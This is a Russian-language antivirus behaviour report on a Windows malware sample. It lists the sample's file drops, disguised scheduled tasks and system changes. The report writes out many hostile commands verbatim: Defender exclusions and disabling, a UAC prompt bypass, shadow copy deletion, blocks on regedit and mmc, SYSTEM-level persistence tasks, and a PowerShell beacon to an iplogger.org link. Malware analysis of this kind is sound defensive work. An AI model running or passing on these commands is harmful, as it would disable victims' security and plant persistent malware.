Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\xblgamesave\taskxblgamesave
- <SYSTEM32>\tasks\microsoft\xblgamesave\apptaskstartup
- <SYSTEM32>\tasks\microsoft\xblgamesave\gamesavetaskxbl
- <SYSTEM32>\tasks\microsoft\onecore\directx\updatedirect
- <SYSTEM32>\tasks\microsoft\onecore\directx\directupdate
- <SYSTEM32>\tasks\microsoft\onecore\directx\updatedirectx
- <SYSTEM32>\tasks\microsoft\xblgamesave\gamesavetask
- <SYSTEM32>\tasks\microsoft\xblgamesave\taskgamesave
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
изменяет следующие системные настройки:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
удаляет теневые копии разделов.
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\,%HOMEPATH%,%ALLUSERSPROFILE%,.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\,%HOMEPATH%,%ALLUSERSPROFILE%,.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\auteb57.tmp
- %TEMP%\autebf4.tmp
- %TEMP%\autec15.tmp
- %TEMP%\autec16.tmp
- %ALLUSERSPROFILE%\nul..\libcrypto-1_1.dll
- %TEMP%\autecd2.tmp
- %ALLUSERSPROFILE%\nul..\libssl-1_1.dll
- %TEMP%\auted11.tmp
- %ALLUSERSPROFILE%\nul..\startmenuexperiencehost.exe
- %TEMP%\auted31.tmp
- %TEMP%\auted32.tmp
- %TEMP%\auted33.tmp
- %TEMP%\auted44.tmp
- %ALLUSERSPROFILE%\install.bat
Удаляет следующие файлы
- %TEMP%\auteb57.tmp
- %TEMP%\autebf4.tmp
- %TEMP%\autec15.tmp
- %TEMP%\autec16.tmp
- %TEMP%\autecd2.tmp
- %TEMP%\auted11.tmp
- %TEMP%\auted31.tmp
- %TEMP%\auted32.tmp
- %TEMP%\auted33.tmp
- %TEMP%\auted44.tmp
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C md \\.\%ALLUSERSPROFILE%\NUL..\' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Install.bat' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\,%HOMEPATH%,%ALLUSERSPROFILE%,.exe' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden Set-MpPreference -PUAProtection 0' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C md \\.\%ALLUSERSPROFILE%\NUL..\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' iwr https://aka.ms/vs/17/release/vc_redist.x86.exe -o %ALLUSERSPROFILE%\vc_redist.x86.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' iwr https://iplogger.org/1RrGC4
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\cacls.exe' %ALLUSERSPROFILE%\USOShared /e /c /d user
- '<SYSTEM32>\attrib.exe' +h +s +r %ALLUSERSPROFILE%\USOShared
- '<SYSTEM32>\attrib.exe' +s +h %ALLUSERSPROFILE%\USOShared\* /d /s
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "regedit.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "mmc.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "EnableBalloonTips" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications " /t REG_DWORD /d "1" /f
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc onlogon /tn "\Microsoft\XblGameSave\TaskGameSave" /tr "cmd.exe /c %ALLUSERSPROFILE%\Microsoft\Settings\Accounts\restore"
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc onlogon /tn "\Microsoft\XblGameSave\GameSaveTask" /tr "%ALLUSERSPROFILE%\Microsoft\Settings\Accounts\restore.bat"
- '<SYSTEM32>\schtasks.exe' /create /F /RL HIGHEST /sc DAILY /RI 5 /du 24:00 /tn "\Microsoft\OneCore\DirectX\UpdateDirectX" /tr "%ALLUSERSPROFILE%\Microsoft\Settings\Accounts\store.vbs"
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc DAILY /RI 5 /du 24:00 /tn "\Microsoft\OneCore\DirectX\DirectUpdate" /tr "%ALLUSERSPROFILE%\USOShared\StartMenuExperienceHost.exe gamejump.si...
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc DAILY /RI 5 /du 24:00 /tn "\Microsoft\OneCore\DirectX\UpdateDirect" /tr "%ALLUSERSPROFILE%\NUL..\StartMenuExperienceHost.exe --ssl gamejump....
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc DAILY /RI 1 /du 24:00 /tn "\Microsoft\XblGameSave\GameSaveTaskXbl" /tr "powershell.exe -w hidden -inputformat none -outputformat none -NonIn...
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc DAILY /RI 1 /du 24:00 /tn "\Microsoft\XblGameSave\AppTaskStartup" /tr "powershell.exe -w hidden Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_...
- '<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /F /RL HIGHEST /sc DAILY /RI 1 /du 24:00 /tn "\Microsoft\XblGameSave\TaskXblGameSave" /tr "powershell.exe -w hidden Set-MpPreference -PUAProtection 0"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Set-MpPreference -EnableControlledFolderAccess Disabled
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Set-MpPreference -PUAProtection 0
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\Install.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden Set-MpPreference -PUAProtection 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
